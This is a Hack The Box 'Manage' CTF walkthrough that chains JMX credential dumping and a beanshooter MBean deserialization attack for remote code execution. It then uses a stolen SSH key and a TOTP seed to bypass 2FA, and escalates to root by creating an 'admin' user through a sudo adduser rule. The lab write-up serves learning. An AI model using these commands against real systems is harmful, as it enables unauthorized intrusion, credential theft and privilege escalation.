← back·HTB: Manage Walkthrough
May 17, 2026

HTB: Manage Walkthrough

Summary

Manage is an Easy-difficulty Linux machine built around three distinct phases. It starts with enumerating an exposed Java RMI/JMX service, which leaks Tomcat credentials in plaintext and then allows remote code execution through a malicious MBean. From there, a backup archive found on the system turns out to contain an SSH private key and a Google Authenticator seed, giving us a full 2FA bypass on the useradmin account. Finally, a misconfigured sudoers rule that allows unrestricted user creation gets abused by creating an account named admin, which automatically inherits sudo privileges through Ubuntu's default %admin ALL=(ALL) ALL rule.

Introduction

IP AddressDifficultyOperating SystemPoints
10.129.38.20EasyLinux450

Nmap Enumeration

Starting with an Nmap scan to identify open ports and services:

soyan@macbook ~$ nmap -sC -sV -Pn 10.129.38.20 -T4 -v

22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:44639
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
8080/tcp open  http     Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/10.1.19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Three services stand out:

  • Port 22 - Standard SSH
  • Port 2222 - Java RMI exposing a JMX registry (jmxrmi)
  • Port 8080 - Apache Tomcat 10.1.19

Port 2222 is where the interesting stuff is. Java RMI (Remote Method Invocation) is a Java protocol used to call methods on remote objects, and here it's exposing a JMX (Java Management Extensions) registry - an API meant for monitoring and managing Java applications. When it's misconfigured, whether that's no authentication or weak credentials, JMX can be abused to achieve remote code execution.

Java RMI Enumeration

We use beanshooter, a dedicated JMX attack tool, to enumerate exposed MBeans and extract information from the registry:

soyan@macbook ~$ java -jar beanshooter.jar enum 10.129.38.20 2222

[+] Enumerating tomcat users:
[+]
[+] 	- Listing 2 tomcat users:
[+]
[+] 		----------------------------------------
[+] 		Username:  manager
[+] 		Password:  fhErvo2r9wuTEYiYgt
[+] 		Roles:
[+] 			   Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+] 		----------------------------------------
[+] 		Username:  admin
[+] 		Password:  onyRPCkaG4iX72BrRtKgbszd
[+] 		Roles:
[+] 			   Users:type=Role,rolename="role1",database=UserDatabase

beanshooter queries the Tomcat UserDatabase MBean exposed over JMX, which holds user credentials in memory. That gets us two accounts:

  • manager with role manage-gui -> access to the Tomcat Manager web interface
  • admin with role role1

The manager account is the valuable one here: its manage-gui role allows deploying WAR applications through Tomcat's /manager/html interface, a classic RCE vector. That said, we can actually skip the web UI entirely and go straight after JMX.

Foothold

Instead of going through the web interface, we go straight at the JMX service using beanshooter's standard attack. This abuses StandardMBean to instantiate a malicious TemplateImpl object (a classic Java deserialization gadget chain), which triggers arbitrary code execution once the MBean gets invoked:

soyan@macbook ~$ java -jar beanshooter.jar standard 10.129.38.20 2222 tonka

[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=29014037081291 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=29014037081291 from the MBeanServer.
[+] 	MBean was successfully removed.

The NullPointerException is expected here, and actually confirms the payload ran successfully. beanshooter deploys a malicious MBean named tonka, invokes it to trigger code execution, then cleans up after itself by removing it. From there we can open an interactive shell through that same MBean:

soyan@macbook ~$ java -jar beanshooter.jar tonka shell 10.129.38.20 2222

[tomcat@10.129.38.20 /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

We now have a shell as tomcat. The user flag sits at /opt/tomcat/user.txt.

Lateral Movement

Poking around the system as tomcat, we come across a backups folder in the useradmin home directory holding a backup.tar.gz archive. Let's extract it:

soyan@macbook ~$ tar -xvzf backup.tar.gz -C .

x ./
x ./.bash_logout
x ./.profile
x ./.ssh/
x ./.ssh/id_ed25519
x ./.ssh/authorized_keys
x ./.ssh/id_ed25519.pub
x ./.bashrc
x ./.google_authenticator
x ./.cache/
x ./.cache/motd.legal-displayed
x ./.bash_history

Note: All the extracted files are dotfiles (prefixed with .), so they won't show up with a plain ls. Use ls -la to list them instead.

This archive turns out to be a full backup of useradmin's home directory, and two files stand out:

1. The SSH private key (.ssh/id_ed25519) - not passphrase-protected, so it allows direct SSH authentication as useradmin.

2. The .google_authenticator file - this holds the TOTP secret Google Authenticator uses to generate 2FA codes, with the base32-encoded secret sitting on its first line:

soyan@macbook ~$ cat .google_authenticator

CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
...

Let's try an SSH connection with that private key:

soyan@macbook ~$ chmod 600 id_ed25519
soyan@macbook ~$ ssh -i id_ed25519 useradmin@10.129.38.20

(useradmin@10.129.38.20) Verification code:

The machine enforces Google Authenticator PAM for SSH 2FA, but since we already have the TOTP secret, we can just generate a valid code ourselves:

soyan@macbook ~$ oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM

Entering the generated code as the verification code gets us a shell as useradmin.

Privilege Escalation

Checking useradmin's sudo rights:

useradmin@manage:~$ sudo -l

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

This rule allows running adduser without a password, restricted to usernames matching ^[a-zA-Z0-9]+$ (alphanumeric only, no extra flags). The intent was to limit this to a safe, controlled operation. Here's the escalation vector: Ubuntu ships with the following rule in /etc/sudoers by default:

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

The admin group has full sudo rights. When adduser creates a user, it also creates a primary group with the same name - so by creating a user named admin, we implicitly create the admin group too, and the new user ends up a member of it.

useradmin@manage:~$ sudo /usr/sbin/adduser admin
# Creates user admin (uid 1004) within group admin (gid 1004)

admin satisfies the regex ^[a-zA-Z0-9]+$, there are no extra flags involved, and the command runs without a password. From here we switch to the new user and escalate:

useradmin@manage:~$ su admin
Password: [password set during creation]

admin@manage:/home/useradmin$ sudo su
[sudo] password for admin: [same password]

root@manage:/home/useradmin# id
uid=0(root) gid=0(root) groups=0(root)

admin is a member of the admin group -> the %admin ALL=(ALL) ALL rule applies -> sudo su succeeds -> root.